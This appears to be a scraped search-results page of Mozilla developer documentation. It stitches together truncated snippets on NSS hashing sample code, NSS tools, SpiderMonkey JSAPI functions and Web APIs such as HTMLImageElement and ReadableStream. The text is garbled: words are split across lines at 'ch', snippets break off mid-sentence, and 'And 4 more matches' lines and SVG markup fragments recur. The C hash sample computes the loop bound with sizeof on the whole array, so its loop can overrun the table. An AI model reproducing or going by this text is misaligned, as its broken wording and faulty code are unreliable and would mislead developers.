char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0...
...lumn += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) { newline(out); column = level; limit = i % 16; } } if (column != level) { newline(out); } } /* * prints a usage message and exits */ static void usage(const
char *progname) { int htype; int hash_algtotal = sizeof(hash_names) / sizeof(hash_names[0]); fprintf(stderr, "usage: %s -t type [ < input ] [ > output ]\n", progname); fprintf(stderr, "%-20s specify the digest method (must be one of\n", "-t type"); fprintf(stderr, "%-20s ", ""); for (htype = 0; htype < hash_algtotal; htype++) { fprintf(stderr, hash_names...
...And 4 more matches
sample1
/* nspr headers */ #include <prprf.h> #include <prtypes.h> #include <plgetopt.h> #include <prio.h> #include <prprf.h> /* nss headers */ #include <secoid.h> #include <secmodt.h> #include <se
chash.h> typedef struct { const
char *hashname; secoidtag oid; } nametagpair; /* the hash algorithms supported */ static const nametagpair hash_names[] = { { "md2", sec_oid_md2 }, { "md5", sec_oid_md5 }, { "sha1", sec_oid_sha1 }, { "sha256", sec_oid_sha256 }, { "sha384", sec_oid_sha384 }, { "sha512", sec_oid_sha512 } }; /* maps a hash name to a secoidtag.
... * returns null if the name is not a supported algorithm */ static secoidtag hashnametooidtag(const
char *hashname) { int i, nhashes = sizeof(hash_names); secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* printashex */ void printashex(prfiledesc* out, unsigned
char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; ...
... } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) { newline(out); column = level; limit = i % 16; } } if (column != level) { newline(out); } } /* prints a usage message and exits */ static void usage(const
char *progname) { int htype; int hash_algtotal = sizeof(hash_names) / sizeof(hash_names[0]); fprintf(stderr, "usage: %s -t type [ < input ] [ > output ]\n", progname); fprintf(stderr, "%-20s specify the digest method (must be one of\n", "-t type"); fprintf(stderr, "%-20s ", ""); for (htype = 0; htype < hash_algtotal; htype++) { fprintf(stderr, ...
...And 4 more matches
Overview of NSS
open source crypto libraries proven application security ar
chitecture if you want to add support for ssl, s/mime, or other internet security standards to your application, you can use network security services (nss) to implement all your security features.
... aol instant messenger (aim) open source client applications su
ch as evolution, pidgin, apa
che openoffice, and libreoffice.
... server products from red hat: red hat directory server, red hat certificate system, and the mod_nss ssl module for the apa
che web server.
...And 4 more matches
NSS tools : cmsutil
name cmsutil — performs basic cryptograpic operations, su
ch as encryption and decryption, on cryptographic message syntax (cms) messages.
... synopsis cmsutil [options] arguments description the cmsutil command-line uses the s/mime toolkit to perform basic operations, su
ch as encryption and decryption, on cryptographic message syntax (cms) messages.
...ea
ch command takes one option.
...And 4 more matches
troubleshoot.html
troubleshooting nss and jss builds newsgroup: mozilla.dev.te
ch.crypto this page summarizes information on troubleshooting the nss and jss build and test systems, including known problems and configuration suggestions.
... if you have suggestions for this page, please post them to mozilla.dev.te
ch.crypto.
... if the build fails early on the gmakein coreconf try updating your cvs tree with -p: cd mozilla cvs update -p building a 32-bit version on a 64-bit may fail with: /usr/include/features.h:324:26: fatal error: bits/predefs.h: no su
ch file or directory in this case remember to set use_64=1 testing nss the ssl stress test opens 2,048 tcp connections in quick succession.
...And 4 more matches
NSS Tools
nss security tools newsgroup: mozilla.dev.te
ch.crypto overview the nss security tools allow developers to test, debug, and manage applications that use nss.
...the links for ea
ch tool take you to the source code, documentation, plans, and related links for ea
ch tool.
... if you have feedback or questions, please feel free to post to mozilla.dev.te
ch.crypto.
...And 4 more matches
Utility functions
the mozilla cross reference (mxr) link for ea
ch function provides access to the function definition, prototype definition, and source code references.
... the nss version column indicates whi
ch versions of nss support the function.
...e nssbase64_decodebuffer atob_convertasciitoitem mxr deprecated 3.2 use nssbase64_decodebuffer btoa_convertitemtoascii mxr deprecated 3.2 use nssbase64_encodeitem btoa_datatoascii mxr deprecated 3.2 use nssbase64_encodeitem der_asciitotime mxr 3.5 and later der_decodetime
choice mxr 3.9 and later der_encode mxr 3.4 and later der_encodetime
choice mxr 3.9 and later der_generalizedtimetotime mxr 3.2 and later der_getinteger mxr 3.2 and later der_generalizeddaytoascii mxr 3.11.7 and later der_lengths ...
...And 4 more matches
NSS tools : cmsutil
name cmsutil — performs basic cryptograpic operations, su
ch as encryption and decryption, on cryptographic message syntax (cms) messages.
... synopsis cmsutil [options] arguments description the cmsutil command-line uses the s/mime toolkit to perform basic operations, su
ch as encryption and decryption, on cryptographic message syntax (cms) messages.
...ea
ch command takes one option.
...And 4 more matches
Rhino JavaScript compiler
note that the top-level functions available to the shell (su
ch as print) are not available to compiled scripts when they are run outside the shell.
...ea
ch global function in the source file is made a method of the generated class, overriding any methods in the base class by the same name.
...ea
ch global function in the source file is made a method of the generated class, implementing any methods in the interface by the same name.
...And 4 more matches
Rhino overview
in addition, rhino has implemented javaadapters, whi
ch allows javascript to implement any java interface or extend any java class with a javascript object.
...javascript: the definitive guide is recommended, and contains a
chapter on rhino.
...in browser embeddings, this language version is selected using the language attribute of the script tag with values su
ch as "javascript1.2".
...And 4 more matches
SpiderMonkey Internals: Thread Safety
ea
ch runtime has one or more jscompartments.
... the jscompartment is the universe in whi
ch js objects live.
...the jscontext can be thought of as a ma
chine that knows how to run javascript code, or as an abstraction of the notion of a thread.
...And 4 more matches
JS::CallArgs
(3nd argument of jsnative) methods methods of js::callargs method description bool requireatleast(jscontext *cx, const
char *fnname, unsigned required) returns true if there are at least required arguments passed in.
... js::handlevalue get(unsigned i) const returns the i-th zero-indexed argument, or undefined if there's no su
ch argument.
...(spidermonkey doesn't currently assert this, but it will do so eventually.) you don't need to use or
change this if your method fails.
...And 4 more matches
JS::CloneFunctionObject
syntax jsobject * js::clonefunctionobject(jscontext *cx, js::handleobject funobj); jsobject * js::clonefunctionobject(jscontext *cx, js::handleobject funobj, js::autoobjectvector &scope
chain); name type description cx jscontext * pointer to a js context from whi
ch to derive runtime information.
... scope
chain js::autoobjectvector the new function's scope
chain.
...if scope
chain is supplied, it uses scope
chain as its enclosing scope.
...And 4 more matches
JSGetObjectOps
jsgetobjectops is the type for jsclass.getobjectops callback syntax typedef jsobjectops * (* jsgetobjectops)(jscontext *cx, jsclass *clasp); name type description cx jscontext * the js context in whi
ch the new object is being created.
...all native objects have a jsclass, whi
ch is stored as a private (int-tagged) pointer in object slots.
... in contrast, all native and host objects have a jsobjectmap at obj->map, whi
ch may be shared among a number of objects, and whi
ch contains the jsobjectops *ops pointer used to dispat
ch object operations from api calls.
...And 4 more matches
JSObjectOps.dropProperty
details of the api may
change from one release to the next.
... obj jsobject * the object of whi
ch prop is an own property.
... as a spidermonkey implementation detail, what is actually locked here (under the native implementation of jsobjectops) is not the property but some collection of objects including the object on whi
ch the property is defined.
...And 4 more matches
JSObjectOps.lookupProperty
details of the api may
change from one release to the next.
... the jsobjectops.lookupproperty callback is called for every property access (except when a higher-level callback, su
ch as jsobjectops.getproperty, is overloaded in a way that does not call lookupproperty).
... syntax typedef jsbool (*jslookuppropop)(jscontext *cx, jsobject *obj, jsid id, jsobject **objp, jsproperty **propp); name type description cx jscontext * pointer to the js context in whi
ch the property lookup is happening.
...And 4 more matches
JS_Add*Root
syntax jsbool js_addvalueroot(jscontext *cx, jsval *vp); jsbool js_addstringroot(jscontext *cx, jsstring **spp); jsbool js_addobjectroot(jscontext *cx, jsobject **opp); jsbool js_addgcthingroot(jscontext *cx, void **rp); jsbool js_addnamedvalueroot(jscontext *cx, jsval *vp, const
char *name); jsbool js_addnamedstringroot(jscontext *cx, jsstring **spp, const
char *name); jsbool js_addnamedobjectroot(jscontext *cx, jsobject **opp, const
char *name); jsbool js_addnamedgcthingroot(jscontext *cx, void **rp, const
char *name); name type description cx jscontext * the context in whi
ch to add the new root.
...ring ** (in js_addstringroot and js_addnamedstringroot) the address of the jsstring* variable to root opp jsobject ** (in js_addobjectroot and js_addnamedobjectroot) the address of the jsobject* variable to root rp void ** (in js_addgcthingroot and js_addnamedgcthingroot) the address of the jsstring* or jsobject* (not jsval) variable to root name const
char * (in js_addnamedroot and js_addnamedrootrt) the name of the new root, or null.
... description the js_add*root and functions add a c/c++ variable to the garbage collector's root set, the set of variables used as starting points ea
ch time the collector
checks to see what memory is rea
chable.
...And 4 more matches
JS_AliasProperty
syntax jsbool js_aliasproperty(jscontext *cx, jsobject *obj, const
char *name, const
char *alias); name type description cx jscontext * pointer to a js context from whi
ch to derive runtime information.
... obj jsobject * object for whi
ch to create the alias.
... name const
char * name of the property for whi
ch to create an alias.
...And 4 more matches
JS_CompileScript
syntax // added in spidermonkey 45 bool js_compilescript(jscontext *cx, const
char *ascii, size_t length, const js::compileoptions &options, js::mutablehandlescript script); bool js_compileucscript(jscontext *cx, const
char16_t *
chars, size_t length, const js::compileoptions &options, js::mutablehandlescript script); // obsolete since jsapi 39 bool js_compilescript(jscontext *cx, js::handleobject obj, const
char *ascii, size_t length, const js::compileoptions &options, js::mutablehandlescript script); bool js_compileucscript(jscontext *cx, js::handleobject obj, const
char16_...
...t *
chars, size_t length, const js::compileoptions &options, js::mutablehandlescript script); name type description cx jscontext * pointer to a js context from whi
ch to derive runtime information.
...obsolete since jsapi 39 ascii or
chars const
char * or const
char16_t * string containing the script to compile.
...And 4 more matches
JS_DefineProperties
syntax bool js_defineproperties(jscontext *cx, js::handleobject obj, const jspropertyspec *ps); name type description cx jscontext * the context in whi
ch to define the properties.
... obj jsobject * the object on whi
ch to define new properties.
...ea
ch array element defines a single property: its name, attributes, getter, and setter.
...And 4 more matches
JS_EvaluateScript
syntax jsbool js_evaluatescript(jscontext *cx, jsobject *obj, const
char *src, unsigned int length, const
char *filename, unsigned int lineno, jsval *rval); jsbool js_evaluateucscript(jscontext *cx, jsobject *obj, const js
char *src, unsigned int length, const
char *filename, unsigned int lineno, jsval *rval); name type description cx jscontext * the context in whi
ch to run the script.
... obj jsobject * the scope in whi
ch to execute the script.
... src const
char * or const js
char * string containing the script to compile and execute.
...And 4 more matches
JS_EvaluateScriptForPrincipals
syntax jsbool js_evaluatescriptforprincipals(jscontext *cx, jsobject *obj, jsprincipals *principals, const
char *src, unsigned int length, const
char *filename, unsigned int lineno, jsval *rval); jsbool js_evaluatescriptucforprincipals(jscontext *cx, jsobject *obj, jsprincipals *principals, const js
char *src, unsigned int length, const
char *filename, unsigned int lineno, jsval *rval); jsbool js_evaluatescriptforprincipalsversion(jscontext *cx, jsobject *obj, jsprincipals *principals, const
char *bytes, unsigned int length, con...
...st
char *filename, unsigned int lineno, jsval *rval, jsversion version); jsbool js_evaluateucscriptforprincipalsversion(jscontext *cx, jsobject *obj, jsprincipals *principals, const js
char *
chars, unsigned int length, const
char *filename, unsigned int lineno, jsval *rval, jsversion version); name type description cx jscontext * the context in whi
ch to run the script.
... obj jsobject * the scope in whi
ch to execute the script.
...And 4 more matches
JS_HasOwnProperty
syntax bool js_hasownproperty(jscontext* cx, handleobject obj, const
char* name, bool* foundp) bool js_hasownpropertybyid(jscontext* cx, handleobject obj, handleid id, bool* foundp) name type description cx jscontext * a context.
... obj js::handleobject object to sear
ch on for the property.
... name or id const
char * or js::handleid name of the property to look up.
...And 4 more matches
HTMLImageElement.align - Web APIs
the obsolete align property of the htmlimageelement interface is a string whi
ch indicates how to position the image relative to its container.
... you should instead use the css propertiy vertical-align, whi
ch does in fact also work on images despite its name.
... syntax htmlimageelement.align = alignmode; alignmode = htmlimageelement.align; value a domstring specifying one of the following strings whi
ch set the alignment mode for the image.
...And 4 more matches
HTMLImageElement.isMap - Web APIs
the htmlimageelement proeprty ismap is a boolean value whi
ch indicates that the image is to be used by a server-side image map.
... syntax htmlimageelement.ismap = true|false; let ismap = htmlimageelement.ismap; value a boolean value whi
ch is true if the image is being used for a server-side image map; otherwise, the value is false.
... usage notes when an image marked as being part of a server-side image map is clicked, the browser constructs the string "?x,y", where x and y indicate the coordinates at whi
ch the mouse was clicked as offsets from the top-left corner of the image, specified in css pixels.
...And 4 more matches
HTMLImageElement.loading - Web APIs
the htmlimageelement property loading is a string whose value provides a hint to the user agent that tells the browser how to handle loading images whi
ch are currently outside the window's visual viewport.
... syntax let imageloads
cheduling = htmlimageelement.loading; htmlimageelement.loading = eagerorlazy; value a domstring providing a hint to the user agent as to how to best s
chedule the loading of the image to optimize page performance.
...when images are loaded eagerly (whi
ch is the default), every image in the document must be fet
ched before the load event can fire.
...And 4 more matches
HTMLImageElement.longDesc - Web APIs
the obsolete property longdesc on the htmlimageelement interface specifies the url of a text or html file whi
ch contains a long-form description of the image.
... syntax descurl = htmlimageelement.longdesc; htmlimageelement.longdesc = descurl; value a domstring whi
ch may be either an empty string (indicating that no long description is available) or the url of a file containing a long form description of the image's contents.
... for example, if the image is a png of a flow
chart.
...And 4 more matches
HTMLImageElement.lowSrc - Web APIs
syntax htmlimageelement.lowsrc = imageurl; imageurl = htmlimageelement.lowsrc; value a domstring specifying the url of a version of the image specified by src whi
ch has been modified in some fashion so that it loads significantly more quickly than the primary image.
... there are a number of ways to a
chieve this; primary among them: higher compression levels (for example, a primary image saved as a jpeg using 85% quality might have a lowsrc version saved at 15%.
...instead, you should use an image format whi
ch loads progressively (su
ch as progressive jpeg).
...And 4 more matches
HTMLImageElement.src - Web APIs
the htmlimageelement property src, whi
ch reflects the html src attribute, specifies the image to display in the <img> element.
... syntax htmlimageelement.src = newsource; let src = htmlimageelement.src; value when providing only a single image, rather than a set of images from whi
ch the browser selects the best mat
ch for the viewport size and display pixel density, the src attribute is a usvstring specifying the url of the desired image.
... as an equivalent for specifying an image in srcset with the size multiplier 1x; that is, the image specified by src is used on low-density screens (su
ch as typical 72 dpi or 96 dpi displays).
...And 4 more matches
HTMLImageElement.useMap - Web APIs
the usemap property on the htmlimageelement interface reflects the value of the html usemap attribute, whi
ch is a string providing the name of the client-side image map to apply to the image.
... syntax htmlimageelement.usemap = imagemapan
chor; let imagemapan
chor = htmlimageelement.usemap; value a usvstring providing the page-local url (that is, a url that begins with the hash or pound symbol, "#") of the <map> element whi
ch defines the image map to apply to the image.
... usage notes the string value of usemap must be a valid an
chor for a <map> element.
...And 4 more matches
HTMLImageElement.width - Web APIs
the width property of the htmlimageelement interface indicates the width at whi
ch the image is drawn, in css pixels if the image is being drawn or rendered to any visual medium su
ch as the screen or a printer; otherwise, it's the natural, pixel density corrected width of the image.
...the terms in whi
ch the width is defined depends on whether the image is being rendered to a visual medium or not.
... if the image is being rendered to a visual medium su
ch as a screen or printer, the width is expressed in css pixels.
...And 4 more matches
HTMLMarqueeElement - Web APIs
vg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmlmarqueeelement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlmarqueeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
...if no value is specified, the default value is −1, whi
ch means the marquee will scroll continuously.
... htmlmarqueeelement.scrollamount sets the amount of scrolling at ea
ch interval in pixels.
...And 4 more matches
HTMLMediaElement.play() - Web APIs
it returns a promise whi
ch is resolved when playback has been successfully started.
... failure to begin playback for any reason, su
ch as permission issues, result in the promise being rejected.
... return value a promise whi
ch is resolved when playback has been started, or is rejected if for any reason playback cannot be started.
...And 4 more matches
HTMLOptionElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmloptionelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle...
...And 4 more matches
HTMLOutputElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmloutputelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle...
...And 4 more matches
HTMLTableCaptionElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltablecaptionelement" target="_top"><rect x="261" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="...
...And 4 more matches
HTMLTableColElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltablecolelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="midd...
...And 4 more matches
IDBCursor.direction - Web APIs
syntax var direction = cursor.direction; value a string (defined by the idbcursordirection enum) indicating the direction in whi
ch the cursor is traversing the data.
...within ea
ch iteration we log the direction of the cursor, something like this: prev note: we can't
change the direction of travel of the cursor using the direction property, as it is read-only.
...also note that in ea
ch iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...And 4 more matches
RTCRtpEncodingParameters - Web APIs
codecpayloadtype when describing a codec for an rtcrtpsender, codecpayloadtype is a single 8-bit byte (or octet) specifying the codec to use for sending the stream; the value mat
ches one from the owning rtcrtpparameters object's codecs parameter.
... dtx only used for an rtcrtpsender whose kind is audio, this property indicates whether or not to use discontinuous transmission (a feature by whi
ch a phone is turned off or the microphone muted automatically in the absence of voice activity).
...other parameters may further constrain the bit rate, su
ch as the value of maxframerate or transport or physical network limitations.
...And 4 more matches
RTCTrackEvent - Web APIs
the webrtc api interface rtctrackevent represents the track event, whi
ch is sent when a new mediastreamtrack is added to an rtcrtpreceiver whi
ch is part of the rtcpeerconnection.
... the target is the rtcpeerconnection object to whi
ch the track is being added.
... streams read only optional an array of mediastream objects, ea
ch representing one of the media streams to whi
ch the added track belongs.
...And 4 more matches
Range.setStart() - Web APIs
if the startnode is a node of type text, comment, or cdatasection, then startoffset is the number of
characters from the start of startnode.
... for other node types, startoffset is the number of
child nodes between the start of the startnode.
...main st.<br> dodge city, ks<br> 67801<br> usa</p> <hr> <p>nodes in the original address:</p> <ol id="log"></ol> javascript const address = document.getelementbyid('address'); const log = document.getelementbyid('log'); // log info address.
childnodes.forea
ch(node => { const li = document.createelement('li'); li.textcontent = `${node.nodename}, ${node.nodevalue}`; log.append
child(li); }); // highlight the street and city const startoffset = 2; // start at third node: 101 e.
...And 4 more matches
ReadableStream.getReader() - Web APIs
syntax var reader = readablestream.getreader({mode}); parameters {mode} optional an object containing a property mode, whi
ch takes as its value a domstring specifying the type of reader to create.
... values can be: "byob", whi
ch results in a readablestreambyobreader being created that can read readable byte streams (i.e.
... undefined (or not specified at all — this is the default), whi
ch results in a readablestreamdefaultreader being created that can read individual
chunks from a stream.
...And 4 more matches
ReadableStream.tee() - Web APIs
the tee() method of the readablestream interface tees the current readable stream, returning a two-element array containing the two resulting bran
ches as new readablestream instances.
...you might do this for example in a serviceworker if you want to fet
ch a response from the server and stream it to the browser, but also stream it to the serviceworker ca
che.
... to cancel the stream you then need to cancel both resulting bran
ches.
...And 4 more matches
ReadableStream - Web APIs
the fet
ch api offers a concrete instance of a readablestream through the body property of a response object.
...the supplied reason argument will be given to the underlying source, whi
ch may or may not use it.
... readablestream.pipethrough() provides a
chainable way of piping the current stream through a transform stream or any other writable/readable pair.
...And 4 more matches
Request - Web APIs
the request interface of the fet
ch api represents a resource request.
... you can create a new request object using the request() constructor, but you are more likely to encounter a request object being returned as the result of another api operation, su
ch as a service worker fet
chevent.request.
... properties request.ca
che read only contains the ca
che mode of the request (e.g., default, reload, no-ca
che).
...And 4 more matches
SVGImageElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
